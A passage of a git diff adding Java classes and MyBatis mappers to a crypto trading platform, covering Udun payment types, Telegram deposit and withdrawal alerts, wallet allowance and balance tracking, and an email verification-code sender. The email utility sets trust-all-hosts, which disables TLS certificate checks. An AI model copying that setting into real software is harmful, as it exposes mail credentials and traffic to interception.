tokenStatus) { + this.tokenStatus = tokenStatus; + } + + public String getMainSymbol() { + return mainSymbol; + } + + public void setMainSymbol(String mainSymbol) { + this.mainSymbol = mainSymbol; + } + + public BigDecimal getBalance() { + return balance; + } + + public void setBalance(BigDecimal balance) { + this.balance = balance; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/domain/ResultMsg.java b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/ResultMsg.java new file mode 100644 index 0000000..7593013 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/ResultMsg.java @@ -0,0 +1,40 @@ +package com.ruoyi.udun.domain; + +public class ResultMsg { + private Integer code; + private String message; + private String data; + + public Integer getCode() { + return code; + } + + public void setCode(Integer code) { + this.code = code; + } + + public String getMessage() { + return message; + } + + public void setMessage(String message) { + this.message = message; + } + + public String getData() { + return data; + } + + public void setData(String data) { + this.data = data; + } + + @Override + public String toString() { + return "ResultMsg{" + + "code=" + code + + ", message='" + message + '\'' + + ", data='" + data + '\'' + + '}'; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Trade.java b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Trade.java new file mode 100644 index 0000000..60a5ffb --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Trade.java @@ -0,0 +1,125 @@ +package com.ruoyi.udun.domain; + +import java.math.BigDecimal; + +public class Trade { + //交易Id + private String txId; + //交易流水号 + private String tradeId; + //交易地址 + private String address; + //币种类型 + private String mainCoinType; + //代币类型,erc20为合约地址 + private String coinType; + //交易金额 + private BigDecimal amount; + //交易类型 1-充值 2-提款(转账) + private int tradeType; + //交易状态 0-待审核 1-成功 2-失败,充值无审核 + private int status; + //旷工费 + private BigDecimal fee; + private int decimals; + //提币申请单号 + private String businessId; + //备注 + private String memo; + + public String getTxId() { + return txId; + } + + public void setTxId(String txId) { + this.txId = txId; + } + + public String getTradeId() { + return tradeId; + } + + public void setTradeId(String tradeId) { + this.tradeId = tradeId; + } + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public String getMainCoinType() { + return mainCoinType; + } + + public void setMainCoinType(String mainCoinType) { + this.mainCoinType = mainCoinType; + } + + public String getCoinType() { + return coinType; + } + + public void setCoinType(String coinType) { + this.coinType = coinType; + } + + public BigDecimal getAmount() { + return amount; + } + + public void setAmount(BigDecimal amount) { + this.amount = amount; + } + + public int getTradeType() { + return tradeType; + } + + public void setTradeType(int tradeType) { + this.tradeType = tradeType; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public BigDecimal getFee() { + return fee; + } + + public void setFee(BigDecimal fee) { + this.fee = fee; + } + + public int getDecimals() { + return decimals; + } + + public void setDecimals(int decimals) { + this.decimals = decimals; + } + + public String getBusinessId() { + return businessId; + } + + public void setBusinessId(String businessId) { + this.businessId = businessId; + } + + public String getMemo() { + return memo; + } + + public void setMemo(String memo) { + this.memo = memo; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/exception/UdunException.java b/ruoyi-system/src/main/java/com/ruoyi/udun/exception/UdunException.java new file mode 100644 index 0000000..f2f6323 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/exception/UdunException.java @@ -0,0 +1,28 @@ +package com.ruoyi.udun.exception; + +public class UdunException extends RuntimeException { + private Integer code; + private String message; + + public UdunException(Integer code, String message) { + this.code = code; + this.message = message; + } + + public Integer getCode() { + return code; + } + + public void setCode(Integer code) { + this.code = code; + } + + @Override + public String getMessage() { + return message; + } + + public void setMessage(String message) { + this.message = message; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/util/BotMessageBuildUtils.java b/ruoyi-system/src/main/java/com/ruoyi/util/BotMessageBuildUtils.java new file mode 100644 index 0000000..2a2d62d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/util/BotMessageBuildUtils.java @@ -0,0 +1,85 @@ +package com.ruoyi.util; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.common.enums.RecordEnum; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; + +import java.math.BigDecimal; +import java.text.SimpleDateFormat; +import java.util.Objects; + +public class BotMessageBuildUtils { + + public static SendMessage buildUsdtText(TAppAddressInfo tAppAddressInfo , BigDecimal diffUsdt){ + + SendMessage sendMessage = new SendMessage(); + StringBuilder sb = new StringBuilder(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + if (tAppAddressInfo.getUsdt() != null && Objects.nonNull(diffUsdt) && diffUsdt.compareTo(BigDecimal.ZERO) != 0) { + + if (diffUsdt.compareTo(BigDecimal.ZERO) > 0) { + sb.append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("USDT余额增加").append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("\n"); + } else { + sb.append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("⚠️⚠️⚠️USDT余额减少⚠️⚠️⚠️").append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("\n"); + } + sb.append("\n\n"); + //sb.append("\uD83E\uDDD1\uD83C\uDFFB\u200D\uD83E\uDDB0用户名:").append(remark).append("\n"); + sb.append("\uD83C\uDD94用户ID:").append(tAppAddressInfo.getUserId()).append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDF17历史余额:").append(diffUsdt.stripTrailingZeros().toPlainString()).append("\n"); + sb.append("\uD83C\uDF16变动金额:").append(tAppAddressInfo.getUsdt().subtract(diffUsdt).stripTrailingZeros().toPlainString()).append("\n"); + sb.append("\uD83C\uDF15当前余额:").append(tAppAddressInfo.getUsdt().stripTrailingZeros().toPlainString()).append("\n"); + sb.append("⏰变动时间: ").append(formatter.format(tAppAddressInfo.getUpdateTime())).append("\n"); + sb.append("\n\n"); + sb.append("\uD83D\uDCB0钱包地址:").append(tAppAddressInfo.getAddress()).append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDF96\uD83C\uDF96\uD83C\uDF96数据统计\uD83C\uDF96\uD83C\uDF96\uD83C\uDF96").append("\n"); + sb.append("\n\n"); + sendMessage.setText(sb.toString()); + } + return sendMessage; + + } + + + public static SendMessage buildText(Integer code, TAppRecharge recharge, TWithdraw withdraw ) { + SendMessage sendMessage = new SendMessage(); + StringBuilder sb = new StringBuilder(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + + if(Objects.equals(RecordEnum.RECHARGE.getCode(), code)){ + sb.append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("⚠️⚠️⚠️有新的充值订单,请尽快审核⚠️⚠️⚠️").append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDD94订单号:").append(recharge.getSerialId()).append("\n"); + sb.append("\uD83C\uDD94用户ID:").append(recharge.getUserId()).append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDF17充值地址:").append(recharge.getAddress()).append("\n"); + sb.append("\uD83C\uDF16充值金额:").append(recharge.getAmount().stripTrailingZeros().toPlainString()).append("\n"); + sb.append("⏰时间: ").append(formatter.format(recharge.getCreateTime())).append("\n"); + sb.append("\n\n"); + sb.append("\uD83D\uDCB0币种:").append(recharge.getCoin().toUpperCase()).append("\n"); + sb.append("\n\n"); + } + if(Objects.equals(RecordEnum.WITHDRAW.getCode(), code)){ + sb.append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("⚠️⚠️⚠️有新的提现订单,请尽快审核⚠️⚠️⚠️").append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDD94订单号:").append(withdraw.getSerialId()).append("\n"); + sb.append("\uD83C\uDD94用户ID:").append(withdraw.getUserId()).append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDF17钱包地址:").append(withdraw.getAddress()).append("\n"); + sb.append("\uD83C\uDF17收款地址:").append(withdraw.getToAdress()).append("\n"); + sb.append("\uD83C\uDF16提现金额:").append(withdraw.getAmount().stripTrailingZeros().toPlainString()).append("\n"); + sb.append("⏰时间: ").append(formatter.format(withdraw.getCreateTime())).append("\n"); + sb.append("\n\n"); + sb.append("\uD83D\uDCB0币种:").append(withdraw.getCoin().toUpperCase()).append("\n"); + sb.append("\n\n"); + } + sb.append("\uD83C\uDF96\uD83C\uDF96\uD83C\uDF96平台充提通知\uD83C\uDF96\uD83C\uDF96\uD83C\uDF96").append("\n"); + sb.append("\n\n"); + sendMessage.setText(sb.toString()); + + return sendMessage; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/util/EmailUtils.java b/ruoyi-system/src/main/java/com/ruoyi/util/EmailUtils.java new file mode 100644 index 0000000..a8af74f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/util/EmailUtils.java @@ -0,0 +1,197 @@ +package com.ruoyi.util; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.EmailSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.impl.TAppUserServiceImpl; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.enums.UserCodeTypeEnum; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.common.utils.sms.SmsSenderUtil; +import com.sun.mail.util.MailSSLSocketFactory; +import freemarker.template.Configuration; +import freemarker.template.Template; +import org.springframework.mail.javamail.JavaMailSenderImpl; +import org.springframework.mail.javamail.MimeMessageHelper; +import org.springframework.ui.freemarker.FreeMarkerTemplateUtils; + +import javax.mail.*; +import javax.mail.internet.*; +import java.util.HashMap; +import java.util.Map; +import java.util.Properties; +import java.util.concurrent.TimeUnit; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + + +/** + * @packageName:com.zebra.common.utils + * @className:EmailUtils + * @description:邮箱工具类 + * @version:1.0.0 + * @author:xuanyihun + * @createDate:2022-05-06 11:07 + */ +public class EmailUtils { + + + /** + * @description 验证邮箱 + * @param email(邮箱) + * @version 1.0.0 + * @author xuanyihun + * @createDate 2022-05-06 11:23 + * @return boolean + */ + public static boolean checkEmail(String email) { + + boolean flag = false; + try { + String check = "^([a-z0-9A-Z]+[-|_|\\.]?)+[a-z0-9A-Z]@([a-z0-9A-Z]+(-[a-z0-9A-Z]+)?\\.)+[a-zA-Z]{2,}$"; + Pattern regex = Pattern.compile(check); + Matcher matcher = regex.matcher(email); + flag = matcher.matches(); + } catch (Exception exception) { + flag = false; + } + return flag; + + } + /** + * 组成邮箱发送公共方法 + * @return + */ +// public static void formMail(String email,String type) { +// RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class); +// SettingService settingService = SpringContextUtil.getBean(SettingService.class); +// TAppUserServiceImpl bean = SpringContextUtil.getBean(TAppUserServiceImpl.class); +// String randomCode = String.valueOf(SmsSenderUtil.getRandomNumber(100000, 999999)); +// Setting setting = settingService.get(SettingEnum.EMAIL_SETTING.name()); +// EmailSetting emailSetting = JSONUtil.toBean(setting.getSettingValue(), EmailSetting.class); +// String appName = emailSetting.getMailAppName(); +// String host = emailSetting.getMailHost(); +// int port = Integer.parseInt(emailSetting.getMailPort()); +// String username = emailSetting.getMailUsername(); +// String password = emailSetting.getMailPassword(); +// String templateCode = emailSetting.getMailTemplate(); +// JavaMailSenderImpl jms = new JavaMailSenderImpl(); +// jms.setHost(host); +// jms.setPort(port); +// jms.setUsername(username); +// jms.setPassword(password); +// jms.setDefaultEncoding("Utf-8"); +// Properties p = new Properties(); +// p.setProperty("mail.smtp.auth", "true"); +// p.setProperty("mail.smtp.starttls.enable", "true"); +// p.setProperty("mail.smtp.starttls.required", "true"); +// p.setProperty("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); +// p.setProperty("mail.smtp.ssl.enable", "true"); +// jms.setJavaMailProperties(p); +// MimeMessage mimeMessage = jms.createMimeMessage(); +// MimeMessageHelper helper = null; +// try { +// helper = new MimeMessageHelper(mimeMessage, true); +// helper.setFrom(username); +// helper.setTo(email); +// helper.setSubject(appName); +// Map model = new HashMap<>(16); +// model.put("code", randomCode); +// Configuration cfg = new Configuration(Configuration.VERSION_2_3_26); +// cfg.setClassForTemplateLoading(bean.getClass(), "/templates"); +// Template template = cfg.getTemplate(templateCode); +// String html = FreeMarkerTemplateUtils.processTemplateIntoString(template, model); +// helper.setText(html, true); +// //发送邮件 +// jms.send(mimeMessage); +// //绑定邮箱 +// } catch (Exception e) { +// e.printStackTrace(); +// } +// redisCache.setCacheObject(CachePrefix.EMAIL_CODE.getPrefix()+ UserCodeTypeEnum.valueOf(type)+ email, randomCode, CacheConstants.REGISTER_CODE_TIME, TimeUnit.SECONDS); +// +// } + + + public static void formMail(String email,String type) { + RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class); + SettingService settingService = SpringContextUtil.getBean(SettingService.class); + String randomCode = String.valueOf(SmsSenderUtil.getRandomNumber(100000, 999999)); + TAppUserServiceImpl bean = SpringContextUtil.getBean(TAppUserServiceImpl.class); + Setting setting = settingService.get(SettingEnum.EMAIL_SETTING.name()); + EmailSetting emailSetting = JSONUtil.toBean(setting.getSettingValue(), EmailSetting.class); + String appName = emailSetting.getMailAppName(); + String host = emailSetting.getMailHost(); + String port = emailSetting.getMailPort(); + String username = emailSetting.getMailUsername(); + String password = emailSetting.getMailPassword(); + String templateCode = emailSetting.getMailTemplate(); + // 1.创建连接对象javax.mail.Session + // 2.创建邮件对象 javax.mail.Message + // 3.发送一封激活邮件 + Properties properties = System.getProperties();// 获取系统属性 + + properties.setProperty("mail.smtp.host", host);// 设置邮件服务器 + properties.setProperty("mail.transport.protocol","smtp"); + properties.setProperty("mail.smtp.port", port); //不需要 默认端口 + properties.setProperty("mail.smtp.auth", "true");// 打开认证 + // properties.put("mail.smtp.socketFactory", "javax.net.ssl.SSLSocketFactory"); + try { + // QQ邮箱需要下面这段代码,163邮箱不需要 + MailSSLSocketFactory sf = new MailSSLSocketFactory(); + sf.setTrustAllHosts(true); + properties.put("mail.smtp.ssl.enable", "true"); + properties.put("mail.smtp.ssl.socketFactory", sf); + properties.put("mail.smtp.ssl.protocols", "TLSv1.2"); //加上这句解决问题 + + // 1.获取默认session对象 + Session session = Session.getDefaultInstance(properties, new Authenticator() { + @Override + public PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication(username, password); + } + }); + + session.setDebug(true); + + //2、通过session得到transport对象 + Transport transport = session.getTransport(); + //3、使用用户名和授权码连上邮件服务器 + transport.connect(host,username,password); + + + // 4.创建邮件对象 + Message message = new MimeMessage(session); + // 4.1设置发件人 + message.setFrom(new InternetAddress(username)); + // 4.2设置接收人 + message.addRecipient(Message.RecipientType.TO, new InternetAddress(email)); + // 4.3设置邮件主题 + String title = appName; + message.setSubject(title); + + Map model = new HashMap<>(16); + model.put("code", randomCode); + Configuration cfg = new Configuration(Configuration.VERSION_2_3_26); + cfg.setClassForTemplateLoading(bean.getClass(), "/templates"); + Template template = cfg.getTemplate(templateCode); + String html = FreeMarkerTemplateUtils.processTemplateIntoString(template, model); + // 2.4设置邮件内容 + message.setContent(html, "text/html;charset=UTF-8"); + //5、发送邮件 + transport.sendMessage(message,message.getAllRecipients()); + //6、关闭连接 + transport.close(); + System.out.println("邮件成功发送!"); + } catch (Exception e) { + e.printStackTrace(); + } + //绑定邮箱 + redisCache.setCacheObject(CachePrefix.EMAIL_CODE.getPrefix()+ UserCodeTypeEnum.valueOf(type)+ email, randomCode, CacheConstants.REGISTER_CODE_TIME, TimeUnit.SECONDS); + + } +} diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/DefiActivityMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/DefiActivityMapper.xml new file mode 100644 index 0000000..e344b0e --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/DefiActivityMapper.xml @@ -0,0 +1,116 @@ + + + + + + + + + + + + + + + + + + + + + + select id, totle_amount, end_time, amount, type, create_by, create_time,user_id, update_by, update_time,status, remark, search_value from t_defi_activity + + + + + + + + insert into t_defi_activity + + totle_amount, + end_time, + amount, + type, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + status, + user_id, + + + + #{totleAmount}, + #{endTime}, + #{amount}, + #{type}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{status}, + #{userId}, + + + + + + update t_defi_activity + + totle_amount = #{totleAmount}, + end_time = #{endTime}, + amount = #{amount}, + type = #{type}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + status = #{status}, + user_id = #{userId}, + + + where id = #{id} + + + + delete from t_defi_activity where id = #{id} + + + + delete from t_defi_activity where id in + + #{id} + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/DefiOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/DefiOrderMapper.xml new file mode 100644 index 0000000..464da9e --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/DefiOrderMapper.xml @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + + + + + select id, amount, totle_amount, rate, create_by, create_time, update_by, update_time, remark, search_value ,user_id from t_defi_order + + + + + + + + insert into t_defi_order + + amount, + totle_amount, + rate, + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + search_value, + + + #{amount}, + #{totleAmount}, + #{rate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{userId}, + #{searchValue}, + + + + + update t_defi_order + + amount = #{amount}, + totle_amount = #{totleAmount}, + rate = #{rate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_defi_order where id = #{id} + + + + delete from t_defi_order where id in + + #{id} + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/DefiRateMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/DefiRateMapper.xml new file mode 100644 index 0000000..343ec49 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/DefiRateMapper.xml @@ -0,0 +1,103 @@ + + + + + + + + + + + + + + + + + + + select id, min_amount, max_amount, rate, create_by, create_time, update_by, update_time, remark, search_value from t_defi_rate + + + + + + + + insert into t_defi_rate + + id, + min_amount, + max_amount, + rate, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + + + #{id}, + #{minAmount}, + #{maxAmount}, + #{rate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + + + + + update t_defi_rate + + min_amount = #{minAmount}, + max_amount = #{maxAmount}, + rate = #{rate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_defi_rate where id = #{id} + + + + delete from t_defi_rate where id in + + #{id} + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/KlineSymbolMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/KlineSymbolMapper.xml new file mode 100644 index 0000000..83e0360 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/KlineSymbolMapper.xml @@ -0,0 +1,87 @@ + + + + + + + + + + + + + + + + + + select id, market, symbol, slug, status ,logo, refer_coin, refer_market, proportion from t_kline_symbol + + + + + + + + insert into t_kline_symbol + + market, + symbol, + slug, + status, + logo, + refer_coin, + refer_market, + proportion, + + + #{market}, + #{symbol}, + #{slug}, + #{logo}, + #{referCoin}, + #{referMarket}, + #{proportion}, + + + + + update t_kline_symbol + + market = #{market}, + symbol = #{symbol}, + slug = #{slug}, + status = #{status}, + refer_coin = #{referCoin}, + refer_market = #{referMarket}, + proportion = #{proportion}, + + where id = #{id} + + + + delete from t_kline_symbol where id = #{id} + + + + delete from t_kline_symbol where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TActivityRechargeMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TActivityRechargeMapper.xml new file mode 100644 index 0000000..4a485db --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TActivityRechargeMapper.xml @@ -0,0 +1,82 @@ + + + + + + + + + + + + + + + + + select id, on_off, recharge_pro, max_rebate, create_by, create_time, update_by, update_time from t_activity_recharge + + + + + + + + insert into t_activity_recharge + + on_off, + recharge_pro, + max_rebate, + create_by, + create_time, + update_by, + update_time, + + + #{onOff}, + #{rechargePro}, + #{maxRebate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + + + + + update t_activity_recharge + + on_off = #{onOff}, + recharge_pro = #{rechargePro}, + max_rebate = #{maxRebate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + + where id = #{id} + + + + delete from t_activity_recharge where id = #{id} + + + + delete from t_activity_recharge where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAgentActivityInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAgentActivityInfoMapper.xml new file mode 100644 index 0000000..a093b24 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAgentActivityInfoMapper.xml @@ -0,0 +1,156 @@ + + + + + + + + + + + + + + + + + + + + + + select id, type, amount, coin_type, from_id, user_id, create_by, create_time, update_by, update_time, status, login_name, serial_id from t_agent_activity_info + + + + + + + + + + + + + insert into t_agent_activity_info + + type, + amount, + coin_type, + from_id, + user_id, + create_by, + create_time, + update_by, + update_time, + status, + login_name, + serial_id, + + + #{type}, + #{amount}, + #{coinType}, + #{fromId}, + #{userId}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{status}, + #{loginName}, + #{serialId}, + + + + + update t_agent_activity_info + + type = #{type}, + amount = #{amount}, + coin_type = #{coinType}, + from_id = #{fromId}, + user_id = #{userId}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + status = #{status}, + login_name = #{loginName}, + serial_id = #{serialId}, + + where id = #{id} + + + + delete from t_agent_activity_info where id = #{id} + + + + delete from t_agent_activity_info where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppAddressInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppAddressInfoMapper.xml new file mode 100644 index 0000000..24866e4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppAddressInfoMapper.xml @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select user_id, address, status,wallet_type, usdt_allowed, usdc_allowed,usdc,usdt, eth, btc, trx,allowed_notice, usdt_monitor, create_by, create_time, update_by, update_time, remark, search_value from t_app_address_info + + + + + + + + insert into t_app_address_info + + user_id, + address, + wallet_type, + usdt_allowed, + usdc_allowed, + usdt, + usdc, + eth, + btc, + allowed_notice, + usdt_monitor, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + trx, + status, + + + #{userId}, + #{address}, + #{walletType}, + #{usdtAllowed}, + #{usdcAllowed}, + #{usdt}, + #{usdc}, + #{eth}, + #{btc}, + #{allowedNotice}, + #{usdtMonitor}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{trx}, + #{status}, + + + + + update t_app_address_info + + address = #{address}, + wallet_type = #{walletType}, + usdt_allowed = #{usdtAllowed}, + usdc_allowed = #{usdcAllowed}, + usdt = #{usdt}, + usdc = #{usdc}, + eth = #{eth}, + btc = #{btc}, + trx = #{trx}, + allowed_notice = #{allowedNotice}, + usdt_monitor = #{usdtMonitor}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + trx = #{trx}, + status=#{status}, + + where user_id = #{userId} + + + + delete from t_app_address_info where user_id = #{userId} + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppAssetMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppAssetMapper.xml new file mode 100644 index 0000000..414b116 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppAssetMapper.xml @@ -0,0 +1,210 @@ + + + + + + + + + + + + + + + + + + + + + + select user_id, adress, symbol, amout, occupied_amount, available_amount, type, create_by, create_time, update_by, update_time, remark, search_value from t_app_asset + + + + + + + + insert into t_app_asset + + user_id, + adress, + symbol, + amout, + occupied_amount, + available_amount, + type, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + + + #{userId}, + #{adress}, + #{symbol}, + #{amout}, + #{occupiedAmount}, + #{availableAmount}, + #{type}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + + + + + update t_app_asset + + adress = #{adress}, + amout = #{amout}, + occupied_amount = #{occupiedAmount}, + available_amount = #{availableAmount}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + update t_app_asset + + + amout = #{amout}, + + + occupied_amount=#{occupiedAmount}, + + + available_amount=#{availableAmount}, + + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + + delete from t_app_asset where user_id = #{userId} + + + + delete from t_app_asset where user_id in + + #{userId} + + + + + update t_app_asset + + available_amount = available_amount - #{money}, + occupied_amount= occupied_amount + #{money}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + + update t_app_asset + + amout = amout - #{money}, + available_amount=available_amount-#{money}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + + update t_app_asset + + amout = amout + #{money}, + available_amount=available_amount + #{money}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + + update t_app_asset + + available_amount = available_amount - #{money}, + occupied_amount= occupied_amount + #{money}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + update t_app_asset + + amout = amout - #{money}, + occupied_amount= occupied_amount - #{subtract}, + available_amount= available_amount +#{availableAmount}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppMailMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppMailMapper.xml new file mode 100644 index 0000000..77d0318 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppMailMapper.xml @@ -0,0 +1,100 @@ + + + + + + + + + + + + + + + + + + + + select id, user_id, title, content, type, status, opertor_id, create_time, update_time, search_value, del_flag from t_app_mail + + + + + + + + insert into t_app_mail + + user_id, + title, + content, + type, + status, + opertor_id, + create_time, + update_time, + search_value, + del_flag, + + + #{userId}, + #{title}, + #{content}, + #{type}, + #{status}, + #{opertorId}, + #{createTime}, + #{updateTime}, + #{searchValue}, + #{delFlag}, + + + + + update t_app_mail + + user_id = #{userId}, + title = #{title}, + content = #{content}, + type = #{type}, + status = #{status}, + opertor_id = #{opertorId}, + create_time = #{createTime}, + update_time = #{updateTime}, + search_value = #{searchValue}, + del_flag = #{delFlag}, + + where id = #{id} + + + + update t_app_mail set del_flag = '2' where id = #{id} + + + + update t_app_mail set del_flag = '2' where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppRechargeMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppRechargeMapper.xml new file mode 100644 index 0000000..d412cd9 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppRechargeMapper.xml @@ -0,0 +1,445 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, create_by, create_time, update_by, update_time, remark, user_id, username, amount, bonus, + status, serial_id, tx_id, type, search_value, address, app_parent_ids, admin_parent_ids, coin, to_address, + block_time, host, + real_amount, file_name, recharge_remark, notice_flag,order_type from t_app_recharge + + + + + + + + + + + + insert into t_app_recharge + + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + username, + amount, + bonus, + status, + serial_id, + tx_id, + type, + search_value, + address, + app_parent_ids, + admin_parent_ids, + coin, + to_address, + block_time, + host, + real_amount, + file_name, + recharge_remark, + notice_flag, + order_type, + + + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{userId}, + #{username}, + #{amount}, + #{bonus}, + #{status}, + #{serialId}, + #{txId}, + #{type}, + #{searchValue}, + #{address}, + #{appParentIds}, + #{adminParentIds}, + #{coin}, + #{toAddress}, + #{blockTime}, + #{host}, + #{realAmount}, + #{fileName}, + #{rechargeRemark}, + #{noticeFlag}, + #{orderType}, + + + + + update t_app_recharge + + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + user_id = #{userId}, + username = #{username}, + amount = #{amount}, + bonus = #{bonus}, + status = #{status}, + serial_id = #{serialId}, + tx_id = #{txId}, + type = #{type}, + search_value = #{searchValue}, + address = #{address}, + app_parent_ids = #{appParentIds}, + admin_parent_ids = 